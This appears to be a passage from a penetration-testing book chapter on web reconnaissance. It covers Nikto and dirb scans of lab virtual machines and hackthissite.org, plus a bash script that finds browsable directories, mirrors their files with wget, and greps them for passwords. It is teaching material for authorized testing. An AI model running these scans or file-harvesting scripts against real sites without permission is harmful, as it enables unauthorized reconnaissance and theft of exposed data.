Skip to content
ImagineWorld

Automating Web Application Attacks

node_idnode-book_linux-shell-scripting-for-hackers_chapter-05-automating-web-application-attacks
node_typechapter-node
schema_profileworld.chapter_node.v1
statusactive
entropyhigh
manifoldworld
domainimagineworld.net
authorityinforms
layercorpus
chapter_num5
chapter_titleAutomating Web Application Attacks
governed_byCORPUS
constitutional_citationCONSTITUTION
local graph

Chapter 5 — Automating Web Application Attacks

Section titled “Chapter 5 — Automating Web Application Attacks”

At the dawn of the Internet era, websites were static affairs that were built with hand-coded Hyper Text Markup Language (HTML). Sure, you could have some security problems with them, especially if the web server isn’t properly locked down. Usually, these early problems consisted of relatively minor things like someone defacing a website. Nowadays, most websites are built on a platform that uses a Structured Query Language (SQL) database to contain the site’s content, and some sort of scripting language to render the site. The nice thing about using SQL backends is that it allows sites to be more complex and to be more interactive. On the other hand, this added complexity also provides a larger attack surface, and allows attacks to be more catastrophic. This means that we need a way to scan our websites, along with their associated web applications, to find problems before the bad guys do.

So, in this chapter, we’ll look at various tools, techniques, and shell scripts that can help you discover exploitable vulnerabilities in different web applications. Of course, you will get a chance to do hands-on practice with a couple of vulnerable virtual machines.

In this chapter, we’ll look at the following topics:

  • Web scanning with Nikto
  • Scanning website directories with dirb
  • Automatically downloading indexed files
  • Automatically scanning for robot.txt files
  • SQL injection attack automation with SQLMap
  • Operating system command injection automation

If you’re ready, let’s go ahead and get started.

To follow along in this chapter, you will need the following:

  • Kali Linux virtual machine
  • Metasploitable2 virtual machine

You’ll also download an additional vulnerable virtual machine, and I’ll show you how to do that when the time comes.

You can grab the shell scripts that we’ll be using by doing:

git clone https://github.com/PacktPublishing/Linux-Shell-Scripting-for-Hackers

Since this is the first chapter in which you’ll see techniques for actually attacking a network or a computer, I need to issue a few words of caution.

Never, but never, attack anything for which you don’t have specific written permissions to attack. Any time you work as a professional penetration tester—whether as an independent contractor or as part of your organization’s internal security team—always work with your client or your employer to produce a document that outlines exactly what you’re allowed to do, and what you’re allowed to attack. At best, attacking anything for which you don’t have specific written permission could cause you to lose your job. At worst, it could land you in prison.

Also, be aware that you might see sensitive data as you perform a penetration test. You’ll need to take proper measures to ensure that you don’t accidentally leak any sensitive data. (I’ll expand on that topic a bit more in Chapter 6*, Password Cracking Techniques*.)

In this chapter, we’ll use virtual machines that have been deliberately placed into a vulnerable state, and a public website that invites aspiring hackers to attack it. So, none of the procedures that I present will get you into trouble.

Nikto is a cool, Free Open Source Software (FOSS), general-purpose web server scanner that can do several things for you, such as:

  • It can check for the presence of potentially dangerous files and programs.
  • It can check for outdated versions of web server software.
  • It can check for configuration errors on web servers.
  • It can check for vulnerabilities that are listed in different vulnerability databases.
  • It can check for leakage of sensitive information, such as user passwords.

What Nikto can’t do though, is scan websites without alerting the website administrators. One scan will create multiple nikto entries in the web server access log files, and will likely also trigger an alert from any intrusion detection system (IDS) that might be running on the network. Still, if you’re doing an authorized penetration test and don’t have to care about being stealthy, Nikto is a great tool. Now, let’s talk about installing Nikto.

Nikto comes installed on Kali Linux by default, but this pre-installed version is not what you want to use. The problem is that Nikto depends upon a set of databases that contain information about things like error signatures, outdated web server versions, vulnerability database entries, and keyword dictionaries. There’s also a set of plugins that add extra functionality. These databases and plugins get updated periodically, but doing a normal apt dist-upgrade command in Kali won’t download these updates.

Certain books and blog posts tell you to use the nikto -update command to update the databases and plugins. But the Nikto authors deprecated that option several years ago, so it no longer works. You can read more about installing and updating Nikto on the official Nikto website: https://cirt.net/Nikto-Installing_and_Updating

So, your best bet is to ignore the Nikto that’s already installed, and follow the recommendation of the Nikto authors. That is, clone the Nikto repository, like so:

┌──( kali㉿kali)-[~]
└─$ git clone https://github.com/sullo/nikto.git

Then, before you begin a new scanning session, enter the nikto/ directory that was created in your home directory, and check for updates, like this:

┌──(kali㉿kali)-[~]
└─$ cd nikto
┌──(kali㉿kali)-[~/nikto]
└─$ git pull

The pull option for git will pull in any changes that have been made in the GitHub repository, including updates for the databases and plugins.

Important!

Don’t try running an apt remove nikto command to get rid of the pre-installed version of Nikto. The problem is that, in addition to removing the nikto package, it will also remove packages that you really don’t want to remove. So, just keep the pre-installed nikto package intact, and be sure to run the Nikto version that you downloaded from GitHub. (I don’t know why this happens, I only know that it does.)

The executable that you’ll need to run is the nikto.pl file, which is in the nikto/program/ directory. You can make things easier for yourself by creating a symbolic link to the nikto.pl file in the top level of your home directory, like this:

┌──(kali㉿kali)-[~]
└─$ ln -s /home/kali/nikto/program/nikto.pl /home/kali/nikto.pl

Verify that the link was created correctly, like this:

┌──(kali㉿kali)-[~]
└─$ ls -l nikto.pl
lrwxrwxrwx 1 kali kali 33 Jun 15 14:45 nikto.pl -> /home/kali/nikto/program/nikto.pl

Now that Nikto is installed, you’re ready to do some scans.

We’ll begin by performing the most basic of scans, and then we’ll explore some options. Metasploitable2 only runs a non-secure website on port 80, so we’ll defer working with SSL/TLS-encrypted sites until later. So now, go ahead and try it for yourself.

Here are the steps for a basic scan:

  1. Boot up the Metasploitable2 virtual machine and log in as the msfadmin user, with msfadmin as the password.
  2. Run the ip a command to obtain the IP address of the Metasploitable2 machine.
  3. Run a basic scan of your Metasploitable2 machine, substituting your own IP address, like this:
    ┌──(kali㉿kali)-[~]
    └─$ ./nikto.pl -h 192.168.56.102
  4. The -h option designates the host that you want to scan, which can be either an IP address or a URL. Unless you specify otherwise, Nikto only scans port 80.
  5. Observe the results. I can’t reproduce the entire output here, but I can point out some highlights. At the very top, there’s this:
    + /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
  6. So right away, you see that you’re dealing with ancient versions of both PHP and Ubuntu. (Really, PHP 5.2.4 and Ubuntu 5.10 are both old enough to grow whiskers.) Knowing the versions of the operating system and software can help you find appropriate exploits. Sometimes, you’ll only need to do a web search for the PHP or operating system version to find these exploits. Your search might look something like this:

Figure 5.1 – Searching for PHP vulnerabilities on DuckDuckGo

Figure 5.1 – Searching for PHP vulnerabilities on DuckDuckGo

  1. Or, better yet, just go directly to the Common Vulnerabilities and Exposures website and enter your search information there, like so:

Figure 5.2 – Searching directly on the CVE website

Figure 5.2 – Searching directly on the CVE website

The Common Vulnerabilities and Exposures website is at: https://www.cve.org/

You can perform the same type of search for other server components, such as the operating system version or the web server version. You’ve already seen that the operating system is Ubuntu 5.10, which is now a whole 20 years old. This means that it could have lots of unpatched vulnerabilities.

To clarify, the vulnerable apps in Metasploitable2 are set up to report that they’re running on Ubuntu 5.10. In reality, though, the Metasploitable2 virtual machine is running on Ubuntu 8.04, which is two and a half years newer. To verify that, log into the Metasploitable2 virtual machine and run the cat /etc/lsb-release command from its terminal.

A few lines further down in the Nikto scan output, you’ll see the Apache server version:

+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.

This version of Apache is also ancient, so it might also have lots of vulnerabilities.

But you don’t always have to search for the exploits and vulnerabilities. Sometimes, Nikto tells you about them. For example, look at these two lines from the Nikto scan:

+ /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0678
. . .
+ /phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdmin/ChangeLog, inode: 92462, size: 40540, mtime: Tue Dec 9 12:24:00 2008. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418

What you see here are two vulnerabilities, labeled as CVE-1999-0678 and CVE-2003-1418. You can look them up at the CVE website to read the details about them.

Note that the http://cve-mitre.org URL that you see in these two lines has been deprecated and replaced by https://www.cve.org.

Here, Nikto tells us about a very serious vulnerability:

+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552

How is this serious? Well, it means that anybody at all can access this page and view all of the configuration information for this server. This information will be extremely useful for anyone who wants to break into the server. Here’s the top portion of how that looks:

Figure 5.3 – The PHP info screen of the Metasploitable2 virtual machine

Figure 5.3 – The PHP info screen of the Metasploitable2 virtual machine

When you see this during a penetration test, you’ll want to recommend that your client disable this page.

Peruse the scan output, and you’ll see several other examples of how the web server is configured incorrectly. For example, there’s this:

+ /: The anti-clickjacking X-Frame-Options header is not present.

This particular configuration error can allow someone to successfully hit this server with a click-jacking attack.

Here’s the short explanation of click-jacking.

An attacker covers a legitimate website page with an invisible layer that contains malicious invisible links. So, when a user clicks on a legitimate button, such as a Send me free information button, it could activate a hidden button that will do something malicious, such as downloading ransomware to the user’s computer.

The rest of the output is even more interesting. Read through it, and you’ll see that this web server has directories that aren’t properly secured, a file that might contain login credentials, as well as several other configuration errors that can make things really easy for malicious hackers.

Okay, our top-level website scan yielded some good information. But, we can see even more by scanning the individual apps that are hosted on this site.

There are five lower-level pages on this site, as you see here on the site’s home page:

Figure 5.4 – Five lower-level pages are on the Metasploitable2 website

Figure 5.4 – Five lower-level pages are on the Metasploitable2 website

Unfortunately, Nikto won’t automatically scan these lower-level pages, and it appears that there’s no option to change that. But you can scan each individual page by using the URL of each page. For example, let’s scan the WebDAV page, like so:

┌──(kali㉿kali)-[~]
└─$ ./nikto.pl -h http://192.168.56.102/dav

This will give you lots of good information about the WebDAV page that you haven’t yet seen.

It’s important to note here that when you just scan the top level of the Metasploitable2 website, adding http:// ahead of the IP address is optional. But, whenever you scan a lower-level web page, adding the http:// prefix is mandatory. Otherwise, the scan just won’t work.

You can also scan individual apps that are on the lower-level pages. On the left-hand side of the Mutillidae and the DVWA pages, you’ll see buttons that let you access the individual vulnerable web apps. For example, on the DVWA page, you’ll see a button that’s labeled Command Execution. You can scan that app by using its URL in the Nikto command, like this:

┌──(kali㉿kali)-[~]
└─$ ./nikto.pl -h http://192.168.56.102/dvwa/vulnerabilities/exec/

The bottom line is that Nikto doesn’t recursively scan every page or every app on your website. So, you’ll need to perform separate scans on each lower-level page and app of the site in order to gather as much information as possible.

Of course, you’ll always want to save the results of your work for inclusion in a report to your clients. Let’s look at that next.

You can save the output of your Nikto scans to a file in a variety of formats. In fact, you’ll always want to, for two reasons. First, you’ll be using the information that you’ve gathered from these scans in subsequent stages of the penetration test. Secondly, you’ll always need to present your penetration testing clients with documentation of your findings.

To save the scan results to a file, just use the -output option, followed by a filename with the desired filename extension. Here’s the procedure that you can try out:

  1. Scan the Metasploitable2 virtual machine again, and save the output to a .html file like so:
    ┌──(kali㉿kali)-[~]
    └─$ ./nikto.pl -h 192.168.56.102 -output Metasploitable2-1.html
  2. Open this file in Firefox, and browse through it:
    ┌──(kali㉿kali)-[~]
    └─$ firefox Metasploitable2-1.html

You can also save files in .txt, .csv, .json, .xml, .sql, and .nbe formats. (The .nbe format is the default format for the Nessus scanner.) All you have to do is use the proper filename extension with your output filenames. As long as you add the proper filename extension to the filename, the -Format option that the Nikto help screen tells you about isn’t needed.

Here’s what the scan report looks like:

Figure 5.5 – Nikto scan report in.html format

Figure 5.5 – Nikto scan report in.html format

  1. Next, observe the Nikto help screen by doing:
    ┌──(kali㉿kali)-[~]
    └─$ ./nikto.pl

As you see, there are many options for how you can conduct your scans. Note that any option with a + after it requires that you supply an argument. For example, -output+ means that you need to supply the filename of the report file that you want to create. (You just saw this above in step 1.)

  1. By default, Nikto performs a full scan of your targets. But you can scan for specific problems if you need to save some time and you have a good idea of what you want to find. In this step, we’ll use the -Tuning option to make Nikto only scan for SQL Injection vulnerabilities. (As you see on the help screen, that’s -Tuning option 9.) Perform the scan, like so:
    ┌──(kali㉿kali)-[~]
    └─$ ./nikto.pl -h 192.168.56.102 -Tuning 9 -output Metasploitable2-sql_injection.html

This time, you’ll see much less output, because you’re only scanning for one specific thing.

You can find additional information on how to use Nikto and its various options at the Nikto wiki, which is here: https://github.com/sullo/nikto/wiki

Okay, you now have the basic gist of how to scan a normal HTTP website. Let’s move on to scanning an HTTPS site.

Although the Metasploitable2 virtual machine is very old, it’s still very useful for demonstrating the basic concepts of the various Kali Linux tools. But, there is one problem with it: it only comes with a non-encrypted HTTP website, so you can’t use it to practice scanning HTTPS sites. So, let’s do a scan on Hackthissite.org, which is a for-real website.

Figure 5.6 – The Hackthissite.org site

Figure 5.6 – The Hackthissite.org site

The unique thing about this site is that it’s a training ground for aspiring hackers. The maintainers not only offer many training exercises that anyone can attempt, they also encourage people to try to hack the website itself. So, we can use it for our target scan without the fear of getting into trouble. Here’s the command:

┌──(kali㉿kali)-[~]
└─$ ./nikto.pl -ssl -h www.hackthissite.org -output hackthissite_report.html

When you use the -ssl option, Nikto will scan port 443 by default. As you see, we’re saving the output to a .html file. Be aware that if you want to run a complete scan on this site, it will take a very long time. So, feel free to go out to your favorite eating establishment and have a nice leisurely dinner while you’re waiting. (For the record, the scan that I just did ran for 2.59 hours.) But, even after just the first few minutes, you’ll see some interesting things that are worth noting. First, there’s this:

+ /: Uncommon header 'onion-location' found, with contents: http://hackthisjogneh42n5o7gbzrewxee3vyu6ex37ukyvdw6jm66npakiyd.onion/.

So, in addition to the normal website, there’s also a dark web version that can only be accessed via a browser that can connect to The Onion Router (TOR) network. This is indicated by the onion-location header and the .onion at the end of the URL. We don’t yet know if that will help us in our hacking attempts, but it is worth keeping in mind.

Next, we have these lines:

+ /: Cookie HackThisSite created without the secure flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: Cookie HackThisSite created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies

This is definitely interesting, because insecure cookies can help you hijack a user’s session. Now, look at the Ciphers line of the SSL Info section:

+ SSL Info: Subject: /CN=hackthisjogneh42n5o7gbzrewxee3vyu6ex37ukyvdw6jm66npakiyd.onion
Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Issuer: /C=GR/O=Hellenic Academic and Research Institutions CA/CN=HARICA DV TLS RSA

The AES256-GCM and SHA384 ciphers that this site uses are good, but the ECDHE and RSA ciphers don’t meet the upcoming requirements for quantum-resistant computing. So, when practical quantum computers finally become available, they could possibly crack the encryption for this site. As part of a penetration test report, you would want to recommend a web server upgrade that would permit the use of the newer quantum-safe algorithms.

Space doesn’t permit me to present a full explanation of the upcoming encryption algorithm requirements for quantum-safe computing, but you can read all about them here:

https://media.defense.gov/2022/Sep/07/2003071836/-1/-1/0/CSI_CNSA_2.0_FAQ_.PDF

Peruse the entire report when the scan has completed, and you’ll see many other interesting things that you might want to investigate. Most of what you’ll see is fairly self-explanatory, so you shouldn’t have any problems figuring it all out.

Now, you’re likely aware that not all websites run on either port 80 or port 443. So, let’s look at how to scan sites that run on non-standard ports.

For this demo, you’ll need to download and set up another vulnerable virtual machine from the Vulnhub website, which offers a great selection of vulnerable virtual machines that you can use to hone your hacking skills. Here’s the procedure:

  1. Download the Breakout: Empire virtual machine to your host machine from this page: https://www.vulnhub.com/entry/empire-breakout,751/
  2. Unzip the 02-Breakout.zip file that you just downloaded. You’ll now see the 02 – Breakout directory.
  3. From the Virtual Box File menu, select Import Appliance. Navigate to the 02 – Breakout/ directory, where you’ll see the Breakout.ovf file. Click on that file, and then wait for the import operation to complete. Upon completion, you’ll see a vm folder in the normal location for Virtual Box virtual machines, and a new vm entry added to the Virtual Box menu. You can now safely delete the .zip file and the extracted directory from the Downloads folder of your host machine.
  4. On Virtual Box, open the Settings menu for the Breakout virtual machine and change the Network setting to Host-only Adapter, as you did for the Metasploitable2 virtual machine.
  5. Boot up the Breakout virtual machine. You’ll see the IP address at the top of the screen, above the login prompt. Note that you won’t be able to log in, because you don’t have the login credentials. Getting the credentials is one of the objectives of working with this virtual machine.
  6. Go back to the Kali virtual machine, and do an Nmap scan of the Breakout virtual machine, substituting your own IP address, like so:
    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap -A 192.168.56.103

When the scan completes, you’ll see that three web server ports—port 80, port 10000, and port 20000—are open. (Port 80 is the default HTTP port, and the other two are HTTPS ports for the Webmin and Usermin remote administration utilities.)

  1. Scan port 10000 on the Breakout machine, like so:
    ┌──(kali㉿kali)-[~]
    └─$ ./nikto.pl -h 192.168.56.103 -ssl -port 10000 -output Breakout-10000.html
  2. Open the Breakout-10000.html file in Firefox and observe the results.

Okay, this is all good, but you’re now wondering where the shell scripting aspect comes in. Well, hang on, because we’ll cover that next.

There may be times when you’ll need to scan either multiple servers at a time, or multiple ports of the same server at a time. Here’s where the beauty of shell scripting comes in. You can wrap your Nikto scan commands in a shell script, and then walk away and do something else, knowing that all of your target machines will get properly scanned.

The simplest and best way to set up a shell script is to just list the command for each server that you want to scan as a separate line in the script, as you see here in the nikto_scan-1.sh script. (Note that I added line numbers in order to make the following explanation a bit more clear.)

1 #!/bin/bash
2 ./nikto.pl -h 192.168.56.102 -output metasploitable-home_page.html
3 ./nikto.pl -h http://192.168.56.102/dvwa -output metasploitable-dvwa.html
4 ./nikto.pl -h http://192.168.56.102/dvwa/vulnerabilities/sqli/ -output metasploitable-sqli.html
5 ./nikto.pl -h http://192.168.56.102/mutillidae -output metasploitable-mutillidae.html
6 ./nikto.pl -h http://192.168.56.102/dav -output metasploitable-webdav.html
7 ./nikto.pl -h http://192.168.56.102/twiki -output metasploitable-twiki.html
8 ./nikto.pl -h 192.168.56.103 -output Breakout-80.html
9 ./nikto.pl -h 192.168.56.103 -ssl -port 10000 -output Breakout-10000.html
10 ./nikto.pl -h 192.168.56.103 -ssl -port 20000 -output Breakout-20000.html

Of course, you can add commands for as many target servers as you need to scan.

There are a couple of things to note here. First, when scanning a site’s home page, you don’t have to prepend http:// to the URL, as you see in the first command. But, when scanning lower-level pages, such as you see in lines 3 through 7, you need to prepend the http://. Otherwise, you’ll get this error message:

┌──(kali㉿kali)-[~]
└─$ ./nikto.pl -h 192.168.56.102/dvwa -output metasploitable-dvwa.html
- Nikto v2.5.0
---------------------------------------------------------------------------
+ ERROR: Cannot resolve hostname '192.168.56.102/dvwa' because 'Name or service not known'.
+ 0 host(s) tested

I have no idea why it does that. I only know that it does.

Conversely, if you scan an alternate port, as you see in lines 9 and 10, you can’t prepend either http:// or https://, or else you’ll get this error message:

┌──(kali㉿kali)-[~]
└─$ ./nikto.pl -h https://192.168.56.103 -ssl -port 10000 -output Breakout-10000.html
- Nikto v2.5.0
---------------------------------------------------------------------------
- ERROR: The -port option cannot be used with a full URI

Again, I have no idea why it does that.

A blog post that I found says that you can scan more than one port in one command by listing the ports with a comma as the separator. For example, in the above script I could theoretically scan both port 10000 and port 20000 of the 192.168.56.103 machine by using the -port 10000,20000 option. However, every time I try that I get a Can't use an undefined value as an ARRAY reference at ./nikto.pl line 190 error message as soon as Nikto starts scanning the second port. Then, the scan operation aborts. So, your best bet is just to create separate commands for each port on the target server, instead of trying to scan them all in a single command.

As you’ll need to do with all of your scripts, you’ll need to add the executable permission, like so:

┌──(kali㉿kali)-[~]
└─$ chmod u+x nikto_scan-1.sh

Run the script and observe the results.

I think that about does it for the basics of Nikto scanning. Let’s now look at a simple directory scanner.

Nikto is great, and can do some really cool stuff. But, a directory scanner, such as dirb, can find some hidden files and directories that Nikto might not find. We’ll begin by doing a basic scan.

Let’s begin by scanning our Metasploitable2 machine:

┌──(kali㉿kali)-[~]
└─$ dirb http://192.168.56.102 -o Metasploitable2_dirb-scan.txt

Note how you need to use an actual URL as the target, instead of just a naked IP address. Also, I’m using the -o option to save the output to a plain-text file. Unfortunately, this is the only output file format that’s available for dirb.

Unless you want to purposefully set up a website that allows users to download files, you normally want the website directories to be unlistable. This means that you don’t want anyone to see the list of files that are in a particular directory by entering the URL of the directory into a web browser. Look at the scan results of the Metasploitable2 machine, and you’ll see several listable directories. Here’s one example:

---- Entering directory: http://192.168.56.102/phpMyAdmin/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

Here’s how it looks in Firefox:

Figure 5.7 – A listable directory on the Metasploitable2 machine

Figure 5.7 – A listable directory on the Metasploitable2 machine

You can download any of these files and look through them for any possible sensitive information. This needs to be fixed, and you’ll want to include this recommendation in the final report to your client.

The dirb developers are the only people I’ve seen who use the terms “listable” and “unlistable”. Most people use the terms “indexed”, “unindexed”, “browsable”, and “unbrowsable”. Just know that all these terms are interchangeable.

Having said that, henceforth I’ll be using the terms “indexed” or “indexable”, since that’s the terminology that most people use.

On a small site such as what’s on Metasploitable2, a dirb scan runs very quickly. But, on a larger site, a scan can take an excruciatingly long time. For example, a scan of the Hackthissite.org site took me almost 14 hours. So, unless you absolutely need to do a full scan, you might want to fine-tune your scans by using a different wordlist.

Now, if you look through the output for your Metasploitable2 dirb scan, you’ll see that most of the lower-level web pages weren’t included in the scan. That’s okay, just use the URL for each individual page in your scan commands. Here’s my command to scan the Mutillidae page:

┌──(kali㉿kali)-[~]
└─$ dirb http://192.168.56.102/mutillidae -o mutillidae_dirb_scan.txt -i

I’ve also added the -i option at the end, which causes dirb to perform a case-insensitive scan.

To view all dirb scan options, just type dirb without any options or arguments.

Directory scanners in general work by reading a list of possible file or directory names from a plain-text file. The scanners then search for those possible file and directory names on the target website. If you don’t specify a wordlist for dirb, it will use the common.txt wordlist by default, as you see at the top of the dirb scan output:

OUTPUT_FILE: hackthissite__dirb-scan.html
START_TIME: Mon Jun 23 16:13:35 2025
URL_BASE: https://www.hackthissite.org/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612

You also see that this common.txt file is in the /usr/share/dirb/wordlists/ directory, and that it contains a total of 4,612 words. There are several other wordlists that you can use instead of common.txt, as you see here:

┌──(kali㉿kali)-[/usr/share/dirb/wordlists]
└─$ ls -l
total 260
-rw-r--r-- 1 root root 184073 Jan 24 2012 big.txt
-rw-r--r-- 1 root root 1292 Jan 27 2012 catala.txt
-rw-r--r-- 1 root root 35849 Nov 17 2014 common.txt
-rw-r--r-- 1 root root 1492 May 23 2012 euskera.txt
-rw-r--r-- 1 root root 142 Dec 29 2005 extensions_common.txt
-rw-r--r-- 1 root root 75 Mar 16 2012 indexes.txt
-rw-r--r-- 1 root root 244 Dec 29 2005 mutations_common.txt
drwxr-xr-x 2 root root 4096 May 15 16:25 others
-rw-r--r-- 1 root root 6561 Mar 4 2014 small.txt
-rw-r--r-- 1 root root 3731 Nov 12 2014 spanish.txt
drwxr-xr-x 2 root root 4096 May 15 16:25 stress
drwxr-xr-x 2 root root 4096 May 15 16:25 vulns

Within this directory you also see the others/, stress/, and vulns/ subdirectories, which all contain additional wordlist files. You can use an alternative wordlist file, but there’s no option switch for doing so. All you have to do is list the path to the file that you want to use at the end of a dirb command, like so:

┌──(kali㉿kali)-[~]
└─$ dirb https://www.hackthissite.org /usr/share/dirb/wordlists/vulns/apache.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Jun 24 14:47:26 2025
URL_BASE: https://www.hackthissite.org/
WORDLIST_FILES: /usr/share/dirb/wordlists/vulns/apache.txt
-----------------
GENERATED WORDS: 30
---- Scanning URL: https://www.hackthissite.org/ ----
+ https://www.hackthissite.org/server-status (CODE:403|SIZE:14917)
-----------------
END_TIME: Tue Jun 24 14:47:34 2025
DOWNLOADED: 30 - FOUND: 1

In this case, I’m using the wordlist that specifically deals with Apache web server vulnerabilities. There are only 30 words in this wordlist, so the scan only took a few seconds to run.

Now, how do you know which wordlist to use with your dirb scans? Well, the best I can tell you is that you’ll need to look through each list and decide for yourself which would be the most appropriate to use. If none of the existing lists contain the specific words that you need, then you can create your own list and use it.

All right, we’ve gathered some good information from the Nikto and dirb scans. Keep the output files from these scans handy, because we’ll be using this information for the exercises in upcoming chapters. For now, though, let’s find a way to automatically download the indexed files that we’ve found.

As I’ve just mentioned, one important use of dirb is to find indexed files that can be downloaded. If a website directory wasn’t deliberately configured to allow indexing, you could find some files that contain some rather juicy information, such as usernames, configuration data, and scripts, and so forth. But, although dirb will tell you about these files, it won’t download them for you. So, let’s create a bash script that will automatically download them. Let’s look at the dir_index_scan.sh script to see how it’s done:

#!/bin/bash
targetfile="${1}"
reportdir="${2}"
if [[ ! -s "${targetfile}" ]]; then
echo "No file specified. Please specify a file."
echo "Usage: ./dir_index_scan.sh target_list_filename"
exit 1
fi
if [[ -z "${reportdir}" ]]; then
reportdir="Indexable_scan_reports"
fi
scantargets=( $(cat "${targetfile}") )
for target in ${scantargets[*]}
do
echo "Testing "${target}" for indexing"
if curl -L -s "${target}" | grep -q -e "Index of /" -e "[PARENTDIR]"; then
echo -e "\t Found directory index at ${target}"
mkdir -p "${reportdir}"
wget -q -r -np -R "index.html*" "${target}" -P "${reportdir}"
fi
done

In the first part, we’re setting the name of the target list file with a positional parameter ({ 1 }) and the name of the directory where you’ll store the reports as another positional parameter ({2}). If you forget to specify the name of the target list file, the first if..then..fi stanza will remind you to do so. The second if..then..fi stanza will automatically use Indexable_scan_reports/ for the report directory if you choose not to specify a directory when you invoke the script.

Next, the scantargets=( $(cat "${targetfile}") ) line builds the scantargets variable array by reading the contents of the specified targetfile. Within the for loop, the curl -L -s command transfers data from the target server. The -L option allows curl to follow redirects if a web page has moved to another location, and the -s option prevents curl from showing the progress meter and error messages. The curl output is piped into grep, which searches for the Index of / and the [PARENTDIR] patterns. Preceding each pattern is a -e option switch, which you’ll need to use if you want to specify more than one search term in a single grep command. The -q option prevents grep from sending any output to the terminal.

If the grep command finds the Index of / and the [PARENTDIR] patterns, it means that at least one page of indexed files has been found. In that case, the report directory will be created, and the wget command will download the indexed files. We’re using several wget options. Here’s what they mean:

  • -q: This prevents wget from sending any output to the terminal.
  • -r: This allows wget to recursively download files from lower-level directories, with a limit of five lower levels.
  • -np: This prevents wget from downloading anything from upper-level or parent directories.
  • -R "index.html*": The -R option means reject. In this case, it rejects any index.html files from being downloaded.
  • -P: This option tells wget to store any downloaded files or directories in the specified report directory.

Now that you understand what’s going on, you’re ready to run a scan.

  1. First, edit the target_list.txt file to include both the Metasploitable2 and the Breakout virtual machines. The list should look something like this:
    192.168.56.102
    192.168.56.103
  2. Run the scan, like this:
    ┌──(kali㉿kali)-[~]
    └─$ ./dir_index_scan.sh target_list.txt
  3. When the scan completes, you’ll have the Indexable_scan_reports/ directory, with a subdirectory for each URL or IP address that you’ve scanned.
    ┌──(kali㉿kali)-[~]
    └─$ ls -l Indexable_scan_reports
    total 8
    drwxrwxr-x 8 kali kali 4096 Jul 7 18:02 192.168.56.102
    drwxrwxr-x 3 kali kali 4096 Jul 7 18:12 192.168.56.103

In this example, you won’t find too many interesting files for the Breakout virtual machine. But you’ll find a treasure trove of interesting files for the Metasploitable2 virtual machine, especially under the mutillidae/ subdirectory.

┌──(kali㉿kali)-[~/Indexable_scan_reports/192.168.56.102]
└─$ ls -l mutillidae
total 2100
drwxrwxr-x 2 kali kali 4096 Jul 7 18:02 documentation
-rw-rw-r-- 1 kali kali 1150 Apr 11 2011 favicon.ico
-rw-rw-r-- 1 kali kali 1437 Jan 11 2012 framer.html
drwxrwxr-x 2 kali kali 4096 Jul 7 18:04 images
-rw-rw-r-- 1 kali kali 26031 Jul 7 18:02 index.php
-rw-rw-r-- 1 kali kali 26021 Jul 7 18:02 'index.php?do=toggle-hints&page=home.php'
-rw-rw-r-- 1 kali kali 41588 Jul 7 18:02 'index.php?do=toggle-hints&page=login.php'
. . .
. . .
-rw-rw-r-- 1 kali kali 27027 Jul 7 18:02 'index.php?page=view-someones-blog.php'
drwxrwxr-x 3 kali kali 4096 Jul 7 18:02 javascript
-rw-rw-r-- 1 kali kali 2822 Jul 7 18:02 set-up-database.php
drwxrwxr-x 3 kali kali 4096 Jul 7 18:02 styles

You can either read through each individual file, or you can speed things up if you know what you want to find. For example, you can use grep to automatically search through all of the .php files for the word password, with either lower-case or upper-case letters, like so:

┌──(kali㉿kali)-[~/Indexable_scan_reports/192.168.56.102/mutillidae]
└─$ grep -i password *.php
index.php: <!-- I think the database password is set to blank or perhaps samurai.
index.php: It is ok to put the password in HTML comments because no user will ever see
index.php:
<a href="./index.php?page=password-generator.php&username=anonymous">
. . .
. . .
index.php?page=view-someones-blog.php:
<a href="./index.php?page=password-generator.php&username=anonymous">
index.php?page=view-someones-blog.php:
Password Generator

A word of caution is in order here. When scanning small websites, you likely won’t need to worry about filling the drive on your Kali computer. However, that could be a problem when scanning large sites that have a lot of indexable files. For larger sites, you might need to limit the scope of your search by specifying certain website directories in your targets file.

Also, two other directory enumeration utilities that you might consider are gobuster and ffuf. They’re both already installed in Kali, so there’s nothing to install. You can bring up their help screens by typing either gobuster or ffuf at the command line.

All right, this does it for finding indexable files. Let’s now talk about robot files.

Automatically scanning for robots.txt files

Section titled “Automatically scanning for robots.txt files”

The various web search engines, such as Google, Bing, and whoever else, use crawler robots, more familiarly known as bots, to automatically find and search through websites in order to add them to appropriate search results. Sometimes, website owners will add special-purpose pages to their websites that they don’t want the search engines to index. For example, there might be some web pages that are specifically for website administration that the general public doesn’t need to know about.

And now, in the age of Artificial Intelligence (AI), website owners might also want to prevent AI agents from copying copyrighted material into the AI databases. Website owners can add these private or copyrighted pages to a robots.txt file in the root level of the website directory structure. A typical robots.txt file looks something like this one that I downloaded from the Hackthissite.org site:

User-agent: *
Disallow: /missions/
Disallow: /killing/all/humans/

The Disallow: lines in this file tell search engines to not index these two particular web pages. The User-agent: * line, which uses the * as a wildcard, means that the instructions in this robots.txt file apply to bots from all search engines.

Note that robots.txt files work on a type of honor system. That is, good bots from legitimate search engines will honor the instructions, while malicious bots will just ignore the instructions. There’s no enforcement mechanism, so there’s no way to stop either malicious bots or penetration testing tools from accessing the disallowed web pages.

Anyone can access a site’s robots.txt file simply by appending /robots.txt to the end of a URL in a web browser, like this:

Figure 5.8 – Accessing a site’s robots.txt file

Figure 5.8 – Accessing a site’s robots.txt file

